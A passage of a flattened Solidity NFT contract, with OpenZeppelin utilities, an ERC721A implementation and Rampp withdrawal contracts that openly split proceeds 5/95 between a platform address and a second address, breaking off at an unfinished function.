remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if account is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, isContract will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on isContract to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's transfer: sends amount wei to * recipient, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by transfer, making them unable to receive funds via * transfer. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to recipient, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level call. A * plain call is an unsafe replacement for a function call: use this * function instead. * * If target reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode]. * * Requirements: * * - target must be a contract. * - calling target with data must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with * errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but also transferring value wei to target. * * Requirements: * * - the calling contract must have an ETH balance of at least value. * - the called Solidity function must be payable. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but * with errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} tokenId token is transferred to this contract via {IERC721-safeTransferFrom} * by operator from from, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with IERC721.onERC721Received.selector. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * interfaceId. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when tokenId token is transferred from from to to. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when owner enables approved to manage the tokenId token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when owner enables or disables (approved) operator to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in owner's account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the tokenId token. * * Requirements: * * - tokenId must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers tokenId token from from to to, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must exist and be owned by from. * - If the caller is not from, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers tokenId token from from to to. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must be owned by from. * - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to to to transfer tokenId token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - tokenId must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for tokenId token. * * Requirements: * * - tokenId must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove operator as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The operator cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the operator is allowed to manage all of the assets of owner. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers tokenId token from from to to. * * Requirements: * * - from cannot be the zero address. * - to cannot be the zero address. * - tokenId token must exist and be owned by from. * - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by owner at a given index of its token list. * Use along with {balanceOf} to enumerate all of owner's tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given index of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for tokenId token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a uint256 to its ASCII string decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a uint256 to its ASCII string hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a uint256 to its ASCII string hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from ReentrancyGuard will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single nonReentrant guard, functions marked as * nonReentrant may not call one another. This can be worked around by making * those functions private, and then adding external nonReentrant entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a nonReentrant function from another nonReentrant * function is not supported. It is possible to prevent this from happening * by making the nonReentrant function external, and making it call a * private function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * onlyOwner, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * onlyOwner functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } //-------------END DEPENDENCIES------------------------// /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex; uint256 public immutable collectionSize; uint256 public maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * maxBatchSize refers to how much a minter can mint at a time. * collectionSize_ refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalMinted(); } function currentTokenId() public view returns (uint256) { return _totalMinted(); } function getNextTokenId() public view returns (uint256) { return SafeMath.add(_totalMinted(), 1); } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { unchecked { return currentIndex - _startTokenId(); } } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the baseURI and the tokenId. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether tokenId exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (_mint), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints quantity tokens and transfers them to to. * * Requirements: * * - there must be quantity tokens remaining unminted in the total collection. * - to cannot be the zero address. * - quantity cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers tokenId from from to to. * * Requirements: * * - to cannot be the zero address. * - tokenId token must be owned by from. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve to to operate on tokenId * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set owners to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); if (currentIndex == _startTokenId()) revert('No Tokens Minted Yet'); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When from and to are both non-zero, from's tokenId will be * transferred to to. * - When from is zero, tokenId will be minted for to. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when from and to are both non-zero. * - from and to are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } abstract contract Ramppable { address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1; modifier isRampp() { require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP"); _; } } interface IERC20 { function transfer(address _to, uint256 _amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } abstract contract Withdrawable is Ownable, Ramppable { address[] public payableAddresses = [RAMPPADDRESS,0x65911F7A1F222e31C1B5bC8396ac7A01529ED3A0]; uint256[] public payableFees = [5,95]; uint256 public payableAddressCount = 2; function withdrawAll() public onlyOwner { require(address(this).balance > 0); _withdrawAll(); } function withdrawAllRampp() public isRampp { require(address(this).balance > 0); _withdrawAll(); } function _withdrawAll() private { uint256 balance = address(this).balance; for(uint i=0; i < payableAddressCount; i++ ) { _widthdraw( payableAddresses[i], (balance * payableFees[i]) / 100 ); } } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } /** * @dev Allow contract owner to withdraw ERC-20 balance from contract * while still splitting royalty payments to all other team members. * in the event ERC-20 tokens are paid to the contract. * @param _tokenContract contract of ERC-20 token to withdraw * @param _amount balance to withdraw according to balanceOf of ERC-20 token */ function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner { require(_amount > 0); IERC20 tokenContract = IERC20(_tokenContract); require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens'); for(uint i=0; i < payableAddressCount; i++ ) { tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100); } } } abstract contract RamppERC721A is Ownable, ERC721A, Withdrawable, ReentrancyGuard { constructor( string memory tokenName, string memory tokenSymbol ) ERC721A(tokenName, tokenSymbol, 5, 1000 ) {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 2; string public _baseTokenURI = "ipfs://Qmdhmm3SuAfkQBcuxd5HfoiM6zEaF2M89s6WYoWzqTDT7q/"; bool public mintingOpen = true; uint256 public PRICE = 0.01 ether; /////////////// Admin Mint Functions /** * @dev Mints a token to an address with a tokenURI. * This is owner only and allows a fee-free drop * @param _to address of the future owner of the token */ function 